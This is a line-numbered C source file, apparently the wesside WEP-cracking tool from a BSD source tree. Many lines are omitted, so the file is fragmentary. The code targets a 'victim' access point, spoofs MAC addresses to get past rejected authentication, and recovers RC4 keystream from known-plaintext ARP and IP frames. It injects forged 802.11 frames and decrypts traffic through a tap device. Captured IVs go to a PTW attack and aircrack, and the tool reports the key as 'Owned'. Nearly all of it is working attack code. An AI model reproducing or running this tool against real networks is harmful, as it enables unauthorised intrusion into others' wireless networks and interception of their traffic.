2 * wep owner by sorbo <sorbox@yahoo.com>
5 * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6 * overflows. this whole thing is experimental n e way.
8 * $FreeBSD: src/tools/tools/net80211/wesside/wesside/wesside.c,v 1.4 2009/07/24 15:31:22 sam Exp $
11 #include <sys/types.h>
12 #include <sys/socket.h>
13 #include <sys/ioctl.h>
14 #include <sys/endian.h>
19 #include <net/if_media.h>
20 #include <net/if_llc.h>
21 #include <net/if_arp.h>
22 #include <net/if_types.h>
23 #include <net/if_dl.h>
25 #include <net/ethernet.h>
26 #include <netproto/802_11/ieee80211.h>
27 #include <netproto/802_11/ieee80211_ioctl.h>
28 #include <netproto/802_11/ieee80211_radiotap.h>
29 #include <netproto/802_11/ieee80211_dragonfly.h>
30 #include <netinet/in.h>
31 #include <netinet/in_systm.h>
32 #include <netinet/ip.h>
33 #include <netinet/udp.h>
34 #include <arpa/inet.h>
48 #include "aircrack-ptw-lib.h"
51 #define FOUND_VICTIM 1
52 #define SENDING_AUTH 2
55 #define SENDING_ASSOC 5
60 struct timeval arpsend;
63 struct in_addr ippseudo_src; /* source internet address */
64 struct in_addr ippseudo_dst; /* destination internet address */
65 u_char ippseudo_pad; /* pad, must be zero */
66 u_char ippseudo_p; /* protocol */
67 u_short ippseudo_len; /* protocol length */
78 struct ieee80211req ireq;
89 struct ieee80211_frame wh;
103 struct decrypt_state {
104 unsigned char* cipher;
106 struct prga_info prgainfo;
107 struct frag_state fragstate;
111 unsigned int packets;
117 #define LINKTYPE_IEEE802_11 105
118 #define TCPDUMP_MAGIC 0xA1B2C3D4
120 unsigned char* floodip = NULL;
121 unsigned short floodport = 6969;
122 unsigned short floodsport = 53;
124 unsigned char* netip = NULL;
128 unsigned char* rtrmac = NULL;
130 unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
131 unsigned char myip[16] = "192.168.0.123";
136 PTW_attackstate *ptw;
138 unsigned char *victim_mac = NULL;
140 int ack_timeout = 100*1000;
142 #define ARPLEN (8+ 8 + 20)
143 unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
144 unsigned char ip_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
145 #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
146 #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
147 #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
149 #define MCAST_PREF "\x01\x00\x5e\x00\x00"
151 #define WEP_FILE "wep.cap"
152 #define KEY_FILE "key.log"
153 #define PRGA_FILE "prga.log"
155 unsigned int min_prga = 128;
158 * When starting aircrack we try first to use a
159 * local copy, falling back to where the installed
160 * version is expected.
161 * XXX builtin pathnames
163 #define CRACK_LOCAL_CMD "../aircrack/aircrack"
164 #define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
167 int thresh_incr = INCR;
169 #define MAGIC_TTL_PAD 69
172 int wep_thresh = INCR;
174 struct timeval crack_start;
175 struct timeval real_start;
177 /* linksys does this. The hardware pads small packets. */
178 #define PADDED_ARPLEN 54
180 #define PRGA_LEN (1500-14-20-8)
181 unsigned char inet_clear[8+20+8+PRGA_LEN+4];
183 #define DICT_PATH "dict"
184 #define TAP_DEV "/dev/tap3"
185 unsigned char tapdev[16];
186 unsigned char taptx[4096];
187 unsigned int taptx_len = 0;
192 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
195 register u_short answer;
207 *((u_char *) & oddbyte) = *(u_char *) ptr;
211 sum = (sum >> 16) + (sum & 0xffff);
219 unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
220 struct in_addr *dip) {
224 tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
228 ph = (struct ippseudo*) tmp;
230 memcpy(&ph->ippseudo_src, sip, 4);
231 memcpy(&ph->ippseudo_dst, dip, 4);
232 ph->ippseudo_pad = 0;
233 ph->ippseudo_p = IPPROTO_UDP;
234 ph->ippseudo_len = htons(len);
236 memcpy(tmp + sizeof(struct ippseudo), stuff, len);
238 return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
241 void time_print(char* fmt, ...) {
248 vsnprintf(lame, sizeof(lame), fmt, ap);
253 if (tt == (time_t)-1) {
260 perror("localtime()");
264 printf("[%.2d:%.2d:%.2d] %s",
265 t->tm_hour, t->tm_min, t->tm_sec, lame);
274 fd = open(KEY_FILE, O_RDONLY);
280 rd = read(fd, buf, sizeof(buf) -1);
291 time_print("KEY=(%s)\n", buf);
293 if (gettimeofday(&now, NULL) == -1) {
294 perror("gettimeofday()");
298 printf ("Owned in %.02f minutes\n",
299 ((double) now.tv_sec - real_start.tv_sec)/60.0);
308 time_print("Stopping crack PID=%d\n", crack_pid);
310 // XXX doesn't return -1 for some reason! [maybe on my box... so it
311 // might be buggy on other boxes...]
312 if (kill(crack_pid, SIGINT) == -1) {
322 void cleanup(int x) {
323 time_print("\nDying...\n");
333 void set_chan(int c) {
334 if (c == chaninfo.chan)
337 chaninfo.ireq.i_val = c;
339 if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
340 perror("ioctl(SIOCS80211) [chan]");
346 void set_if_mac(unsigned char* mac, unsigned char *name) {
350 s = socket(PF_INET, SOCK_DGRAM, 0);
356 memset(&ifr, 0, sizeof(ifr));
357 strcpy(ifr.ifr_name, name);
359 ifr.ifr_addr.sa_family = AF_LINK;
360 ifr.ifr_addr.sa_len = 6;
361 memcpy(ifr.ifr_addr.sa_data, mac, 6);
363 if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
364 perror("ioctl(SIOCSIFLLADDR)");
371 void setup_if(char *dev) {
375 struct ifmediareq ifmr;
378 if(strlen(dev) >= IFNAMSIZ) {
379 time_print("Interface name too long...\n");
383 time_print("Setting up %s... ", dev);
386 set_if_mac(mymac, dev);
388 s = socket(PF_INET, SOCK_DGRAM, 0);
395 memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
396 strcpy(chaninfo.ireq.i_name, dev);
397 chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
403 // set iface up and promisc
404 memset(&ifr, 0, sizeof(ifr));
405 strcpy(ifr.ifr_name, dev);
406 if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
407 perror("ioctl(SIOCGIFFLAGS)");
411 flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
412 flags |= IFF_UP | IFF_PPROMISC;
414 memset(&ifr, 0, sizeof(ifr));
415 strcpy(ifr.ifr_name, dev);
416 ifr.ifr_flags = flags & 0xffff;
417 ifr.ifr_flagshigh = flags >> 16;
418 if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
419 perror("ioctl(SIOCSIFFLAGS)");
426 int open_bpf(char *dev, int dlt) {
432 for(i = 0;i < 16; i++) {
433 sprintf(buf, "/dev/bpf%d", i);
435 fd = open(buf, O_RDWR);
438 perror("can't open /dev/bpf");
448 perror("can't open /dev/bpf");
452 strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
453 ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
455 if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
456 perror("ioctl(BIOCSETIF)");
460 if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
461 perror("ioctl(BIOCSDLT)");
466 if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
467 perror("ioctl(BIOCIMMEDIATE)");
474 void hexdump(unsigned char *ptr, int len) {
476 printf("%.2X ", *ptr);
482 char* mac2str(unsigned char* mac) {
483 static char ret[6*3];
485 sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
486 mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
491 void inject(int fd, void *buf, int len)
493 static struct ieee80211_bpf_params params = {
494 .ibp_vers = IEEE80211_BPF_VERSION,
495 /* NB: no need to pass series 2-4 rate+try */
496 .ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
497 .ibp_rate0 = 2, /* 1 MB/s XXX */
498 .ibp_try0 = 1, /* no retransmits */
499 .ibp_flags = IEEE80211_BPF_NOACK,
500 .ibp_power = 100, /* nominal max */
501 .ibp_pri = WME_AC_VO, /* high priority */
506 iov[0].iov_base = ¶ms;
507 iov[0].iov_len = params.ibp_len;
508 iov[1].iov_base = buf;
509 iov[1].iov_len = len;
510 rc = writev(fd, iov, 2);
515 if (rc != (len + iov[0].iov_len)) {
516 time_print("Error Wrote %d out of %d\n", rc,
522 void send_frame(int tx, unsigned char* buf, int len) {
523 static unsigned char* lame = NULL;
524 static int lamelen = 0;
525 static int lastlen = 0;
531 if (txstate.retries > 10) {
532 time_print("ERROR Max retransmists for (%d bytes):\n",
534 hexdump(&lame[0], lastlen);
538 // printf("Warning doing a retransmit...\n");
542 assert(!txstate.waiting_ack);
548 lame = (unsigned char*) malloc(len);
557 memcpy(lame, buf, len);
562 inject(tx, lame, len);
564 txstate.waiting_ack = 1;
566 if (gettimeofday(&txstate.tsent, NULL) == -1) {
567 perror("gettimeofday()");
572 printf("Wrote frame at %lu.%lu\n",
573 txstate.tsent.tv_sec, txstate.tsent.tv_usec);
577 unsigned short fnseq(unsigned short fn, unsigned short seq) {
578 unsigned short r = 0;
581 time_print("too many fragments (%d)\n", fn);
587 r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
592 void fill_basic(struct ieee80211_frame* wh) {
595 memcpy(wh->i_addr1, victim.bss, 6);
596 memcpy(wh->i_addr2, mymac, 6);
597 memcpy(wh->i_addr3, victim.bss, 6);
601 sp = (unsigned short*) wh->i_seq;
602 *sp = fnseq(0, txstate.psent);
604 sp = (unsigned short*) wh->i_dur;
605 *sp = htole16(32767);
608 void send_assoc(int tx) {
609 unsigned char buf[128];
610 struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
614 memset(buf, 0, sizeof(buf));
616 wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
618 body = (unsigned char*) wh + sizeof(*wh);
619 *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
625 ssidlen = strlen(victim.ssid);
627 memcpy(body, victim.ssid, ssidlen);
638 send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
639 strlen(victim.ssid) + 2 + 4);
642 void wepify(unsigned char* body, int dlen) {
647 assert(dlen + 4 <= prgainfo.len);
650 memcpy(body, prgainfo.iv, 3);
655 crc = crc32(0L, Z_NULL, 0);
656 crc = crc32(crc, body, dlen);
657 pcrc = (unsigned long*) (body+dlen);
660 for (i = 0; i < dlen +4; i++)
661 *body++ ^= prgainfo.prga[i];
664 void send_auth(int tx) {
665 unsigned char buf[128];
666 struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
669 memset(buf, 0, sizeof(buf));
671 wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
673 n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
677 send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
680 int get_victim_ssid(struct ieee80211_frame* wh, int len) {
683 int gots = 0, gotc = 0;
685 if (len <= sizeof(*wh)) {
686 time_print("Warning: short packet in get_victim_ssid()\n");
690 ptr = (unsigned char*)wh + sizeof(*wh);
694 if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
698 // we want a specific victim
700 if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
707 time_print("Warning short.asdfasdf\n");
725 time_print("Warning short....\n");
734 victim.ssid = (char*) malloc(elen + 1);
740 memcpy(victim.ssid, ptr, elen);
741 victim.ssid[elen] = 0;
748 time_print("Warning len of chan not 1\n");
761 memcpy(victim.bss, wh->i_addr3, 6);
762 set_chan(victim.chan);
763 state = FOUND_VICTIM;
764 time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
765 victim.ssid, mac2str(victim.bss), victim.chan);
771 void send_ack(int tx) {
775 void do_llc(unsigned char* buf, unsigned short type) {
776 struct llc* h = (struct llc*) buf;
778 memset(h, 0, sizeof(*h));
779 h->llc_dsap = LLC_SNAP_LSAP;
780 h->llc_ssap = LLC_SNAP_LSAP;
781 h->llc_un.type_snap.control = 3;
782 h->llc_un.type_snap.ether_type = htons(type);
785 void calculate_inet_clear() {
792 memset(inet_clear, 0, sizeof(inet_clear));
794 do_llc(inet_clear, ETHERTYPE_IP);
796 ih = (struct ip*) &inet_clear[8];
800 ih->ip_len = htons(20+8+PRGA_LEN);
801 ih->ip_id = htons(666);
803 ih->ip_ttl = ttl_val;
804 ih->ip_p = IPPROTO_UDP;
806 inet_aton(floodip, &ih->ip_src);
807 inet_aton(myip, &ih->ip_dst);
808 ih->ip_sum = in_cksum((unsigned short*)ih, 20);
810 uh = (struct udphdr*) ((char*)ih + 20);
811 uh->uh_sport = htons(floodport);
812 uh->uh_dport = htons(floodsport);
813 uh->uh_ulen = htons(8+PRGA_LEN);
815 uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
816 &ih->ip_src, &ih->ip_dst);
819 dlen = 8 + 20 + 8 + PRGA_LEN;
820 assert (dlen + 4 <= sizeof(inet_clear));
822 crc = crc32(0L, Z_NULL, 0);
823 crc = crc32(crc, inet_clear, dlen);
824 pcrc = (unsigned long*) (inet_clear+dlen);
828 printf("INET %d\n", sizeof(inet_clear));
829 hexdump(inet_clear, sizeof(inet_clear));
833 void set_prga(unsigned char* iv, unsigned char* cipher,
834 unsigned char* clear, int len) {
839 if (prgainfo.len != 0)
842 prgainfo.prga = (unsigned char*) malloc(len);
843 if (!prgainfo.prga) {
849 memcpy(prgainfo.iv, iv, 3);
851 for (i = 0; i < len; i++) {
852 prgainfo.prga[i] = ( cipher ? (clear[i] ^ cipher[i]) :
856 time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
857 prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
858 hexdump(prgainfo.prga, prgainfo.len);
863 fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
864 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
871 i = write(fd, prgainfo.iv, 3);
877 printf("Wrote %d out of %d\n", i, 3);
881 i = write(fd, prgainfo.prga, prgainfo.len);
886 if (i != prgainfo.len) {
887 printf("Wrote %d out of %d\n", i, prgainfo.len);
895 void log_dictionary(unsigned char* body, int len) {
899 unsigned char path[128];
900 unsigned char file_clear[sizeof(inet_clear)];
903 len -= 4; // IV etc..
904 assert (len == sizeof(inet_clear));
908 if (len > prgainfo.len)
909 set_prga(body, data, inet_clear, len);
912 for (i = 0; i < 3; i++)
913 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
916 strcpy(path, DICT_PATH);
920 for (i = 0; i < 2; i++) {
922 strcat(path, paths[i]);
923 fd = open(path, O_RDONLY);
925 if (errno != ENOENT) {
930 if (mkdir(path, 0755) == -1) {
941 strcat(path, paths[2]);
943 fd = open(path, O_RDWR);
944 // already exists... see if we are consistent...
946 rd = read(fd, file_clear, sizeof(file_clear));
953 // check consistency....
954 for (i = 0; i < rd; i++) {
956 (data[i] ^ inet_clear[i])) {
958 printf("Mismatch in byte %d for:\n", i);
959 hexdump(body, len+4);
965 if (i >= sizeof(inet_clear)) {
967 time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
968 body[0], body[1], body[2]);
974 // file has less... fd still open
977 fd = open(path, O_WRONLY | O_CREAT, 0644);
979 printf("Can't open (%s): %s\n", path,
985 assert (sizeof(file_clear) >= sizeof(inet_clear));
987 for(i = 0; i < len; i++)
988 file_clear[i] = data[i] ^ inet_clear[i];
990 rd = write(fd, file_clear, len);
996 printf("Wrote %d of %d\n", rd, len);
1002 void stuff_for_us(struct ieee80211_frame* wh, int len) {
1004 unsigned char* body;
1006 type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1007 stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1009 body = (unsigned char*) wh + sizeof(*wh);
1012 if (type == IEEE80211_FC0_TYPE_CTL) {
1013 if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1014 txstate.waiting_ack = 0;
1018 if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1022 if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1025 time_print ("got CTL=%x\n", stype);
1030 if (type == IEEE80211_FC0_TYPE_MGT) {
1031 if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1032 unsigned short* rc = (unsigned short*) body;
1034 time_print("Got deauth=%u\n", le16toh(*rc));
1035 state = FOUND_VICTIM;
1039 else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1040 unsigned short* sc = (unsigned short*) body;
1043 time_print("Warning got auth algo=%x\n", *sc);
1050 time_print("Warning got auth seq=%x\n", *sc);
1057 time_print("Auth rejected... trying to spoof mac.\n");
1061 else if (*sc == 0) {
1062 time_print("Authenticated\n");
1067 time_print("Got auth %x\n", *sc);
1071 else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1072 unsigned short* sc = (unsigned short*) body;
1077 unsigned int aid = le16toh(*sc) & 0x3FFF;
1078 time_print("Associated (ID=%x)\n", aid);
1081 } else if (*sc == 12) {
1082 time_print("Assoc rejected..."
1083 " trying to spoof mac.\n");
1087 time_print("got assoc %x\n", *sc);
1090 } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1094 time_print("\nGOT MAN=%x\n", stype);
1098 if (type == IEEE80211_FC0_TYPE_DATA &&
1099 stype == IEEE80211_FC0_SUBTYPE_DATA) {
1101 dlen = len - sizeof(*wh) - 4 -4;
1103 if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
1104 time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1105 mac2str(wh->i_addr2), dlen, stype);
1109 assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
1111 if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1112 rtrmac = (unsigned char *) malloc(6);
1118 assert( rtrmac > (unsigned char*) 1);
1120 memcpy (rtrmac, wh->i_addr3, 6);
1121 time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1126 // check if its a TTL update from dictionary stuff
1127 if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
1128 dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1129 int ttl_delta, new_ttl;
1131 ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1132 new_ttl = 128 - ttl_delta;
1134 if (ttl_val && new_ttl != ttl_val) {
1135 time_print("oops. ttl changed from %d to %d\n",
1143 time_print("Got TTL of %d\n", ttl_val);
1144 calculate_inet_clear();
1148 // check if its dictionary data
1149 if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1150 log_dictionary(body, len - sizeof(*wh));
1156 printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1157 type, stype, mac2str(wh->i_addr2), len);
1161 void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1162 unsigned char* body;
1164 unsigned char clear[36];
1169 body = (unsigned char*) wh+sizeof(*wh);
1172 // calculate clear-text
1173 memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1174 ptr += sizeof(arp_clear) -1;
1176 h = (struct arphdr*)ptr;
1177 h->ar_hrd = htons(ARPHRD_ETHER);
1178 h->ar_pro = htons(ETHERTYPE_IP);
1181 h->ar_op = htons(ARPOP_REQUEST);
1184 memcpy(ptr, wh->i_addr3, 6);
1186 bodylen = rd - sizeof(*wh) - 4 - 4;
1187 decryptstate.clen = bodylen;
1188 decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1189 if (!decryptstate.cipher) {
1193 decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1194 if (!decryptstate.prgainfo.prga) {
1200 memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1201 memcpy(decryptstate.prgainfo.iv, body, 3);
1203 memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1204 for(i = 0; i < (8+8+6); i++) {
1205 decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
1209 decryptstate.prgainfo.len = i;
1210 time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1213 void log_wep(struct ieee80211_frame* wh, int len) {
1215 struct pcap_pkthdr pkh;
1217 unsigned char *body = (unsigned char*) (wh+1);
1219 memset(&pkh, 0, sizeof(pkh));
1220 pkh.caplen = pkh.len = len;
1221 if (gettimeofday(&tv, NULL) == -1)
1222 err(1, "gettimeofday()");
1224 if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1227 rd = write(weplog.fd, wh, len);
1234 time_print("short write %d out of %d\n", rd, len);
1239 if (fsync(weplog.fd) == -1) {
1245 memcpy(weplog.iv, body, 3);
1249 void try_dictionary(struct ieee80211_frame* wh, int len) {
1250 unsigned char *body;
1255 unsigned char packet[4096];
1257 struct ether_header* eh;
1259 unsigned long *pcrc;
1260 unsigned char* dmac, *smac;
1262 assert (len < sizeof(packet) + sizeof(*eh));
1264 body = (unsigned char*) wh + sizeof(*wh);
1266 for (i = 0; i < 3; i++)
1267 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1269 sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1271 fd = open(path, O_RDONLY);
1275 rd = read(fd, &packet[6], sizeof(packet)-6);
1283 dlen = len - sizeof(*wh) - 4;
1286 time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1292 for (i = 0; i < dlen; i++)
1293 packet[6+i] ^= body[i];
1296 crc = crc32(0L, Z_NULL, 0);
1297 crc = crc32(crc, &packet[6], dlen);
1298 pcrc = (unsigned long*) (&packet[6+dlen]);
1302 time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1307 // fill ethernet header
1308 eh = (struct ether_header*) packet;
1309 if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1314 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1319 memcpy(eh->ether_dhost, dmac, 6);
1320 memcpy(eh->ether_shost, smac, 6);
1321 // ether type should be there from llc
1324 dlen += sizeof(*eh);
1328 time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1329 hexdump(packet, dlen);
1332 rd = write(tapfd, packet, dlen);
1338 printf("Wrote %d / %d\n", rd, dlen);
1343 int is_arp(struct ieee80211_frame *wh, int len)
1345 int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1347 if (len == arpsize || len == 54)
1353 void *get_sa(struct ieee80211_frame *wh)
1355 if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1361 void *get_da(struct ieee80211_frame *wh)
1363 if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1369 int known_clear(void *clear, struct ieee80211_frame *wh, int len)
1371 unsigned char *ptr = clear;
1374 if (!is_arp(wh, len)) {
1375 unsigned short iplen = htons(len - 8);
1377 // printf("Assuming IP %d\n", len);
1379 len = sizeof(S_LLC_SNAP_IP) - 1;
1380 memcpy(ptr, S_LLC_SNAP_IP, len);
1384 memcpy(ptr, "\x45\x00", len);
1387 memcpy(ptr, &iplen, len);
1390 len = ptr - ((unsigned char*)clear);
1393 // printf("Assuming ARP %d\n", len);
1396 len = sizeof(S_LLC_SNAP_ARP) - 1;
1397 memcpy(ptr, S_LLC_SNAP_ARP, len);
1402 memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1407 if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1408 memcpy(ptr, "\x00\x01", len);
1410 memcpy(ptr, "\x00\x02", len);
1415 memcpy(ptr, get_sa(wh), len);
1418 len = ptr - ((unsigned char*)clear);
1422 void add_keystream(struct ieee80211_frame* wh, int rd)
1424 unsigned char clear[1024];
1425 int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1427 unsigned char *body = (unsigned char*) (wh+1);
1430 clearsize = known_clear(clear, wh, dlen);
1434 for (i = 0; i < 16; i++)
1435 clear[i] ^= body[4+i];
1437 PTW_addsession(ptw, body, clear);
1440 void got_wep(struct ieee80211_frame* wh, int rd) {
1443 unsigned char clear[1024];
1445 unsigned char *body;
1447 bodylen = rd - sizeof(struct ieee80211_frame);
1449 dlen = bodylen - 4 - 4;
1450 body = (unsigned char*) wh + sizeof(*wh);
1453 // log it if its stuff not from us...
1454 if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1455 ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1456 memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1459 time_print("Key index=%x!!\n", body[3]);
1463 add_keystream(wh, rd);
1465 // try to decrypt too
1466 try_dictionary(wh, rd);
1469 // look for arp-request packets... so we can decrypt em
1470 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1471 (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1472 (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1473 (dlen == 36 || dlen == PADDED_ARPLEN) &&
1474 !decryptstate.cipher &&
1476 decrypt_arpreq(wh, rd);
1479 // we have prga... check if its our stuff being relayed...
1480 if (prgainfo.len != 0) {
1482 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1483 (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1484 (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1485 dlen == fragstate.len) {
1487 // printf("I fink AP relayed it...\n");
1488 set_prga(body, &body[4], fragstate.data, dlen);
1489 free(fragstate.data);
1490 fragstate.data = NULL;
1491 fragstate.waiting_relay = 0;
1494 // see if we get the multicast stuff of when decrypting
1495 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1496 (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1497 (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1500 unsigned char pr = wh->i_addr1[5];
1503 time_print("Got clear-text byte: %d\n",
1504 decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1506 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1507 decryptstate.prgainfo.len++;
1508 decryptstate.fragstate.waiting_relay = 1;
1510 // ok we got the ip...
1511 if (decryptstate.prgainfo.len == 26+1) {
1512 unsigned char ip[4];
1514 struct in_addr *in = (struct in_addr*) ip;
1517 for (i = 0; i < 4; i++)
1518 ip[i] = decryptstate.cipher[8+8+6+i] ^
1519 decryptstate.prgainfo.prga[8+8+6+i];
1522 netip = (unsigned char*) malloc(16);
1528 memset(netip, 0, 16);
1529 strcpy(netip, inet_ntoa(*in));
1531 time_print("Got IP=(%s)\n", netip);
1532 strcpy(myip, netip);
1534 ptr = strchr(myip, '.');
1536 ptr = strchr(ptr+1, '.');
1538 ptr = strchr(ptr+1, '.');
1540 strcpy(ptr+1,"123");
1542 time_print("My IP=(%s)\n", myip);
1545 free(decryptstate.prgainfo.prga);
1546 free(decryptstate.cipher);
1547 memset(&decryptstate, 0, sizeof(decryptstate));
1553 clearsize = known_clear(clear, wh, dlen);
1554 time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1556 set_prga(body, &body[4], clear, clearsize);
1559 void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1562 type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1563 stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1565 if (type == IEEE80211_FC0_TYPE_DATA &&
1566 stype == IEEE80211_FC0_SUBTYPE_DATA) {
1567 int dlen = rd - sizeof(struct ieee80211_frame);
1569 if (state == SPOOF_MAC) {
1570 unsigned char mac[6];
1571 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1572 memcpy(mac, wh->i_addr3, 6);
1573 } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1574 memcpy(mac, wh->i_addr1, 6);
1577 if (mac[0] == 0xff || mac[0] == 0x1)
1580 memcpy(mymac, mac, 6);
1581 time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1582 state = FOUND_VICTIM;
1587 if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
1593 void anal(unsigned char* buf, int rd, int tx) { // yze
1594 struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1596 static int lastseq = -1;
1598 unsigned short *seqptr;
1602 time_print("rd=%d\n", rd);
1606 type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1607 stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1610 if (state >= FOUND_VICTIM) {
1612 if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1614 if (type != IEEE80211_FC0_TYPE_CTL)
1619 // XXX i know it aint great...
1620 seqptr = (unsigned short*) wh->i_seq;
1621 seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1622 if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1623 type != IEEE80211_FC0_TYPE_CTL) {
1624 // printf("Ignoring dup packet... seq=%d\n", seq);
1630 if (type == IEEE80211_FC0_TYPE_MGT) {
1631 if(state == FIND_VICTIM) {
1632 if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1633 stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
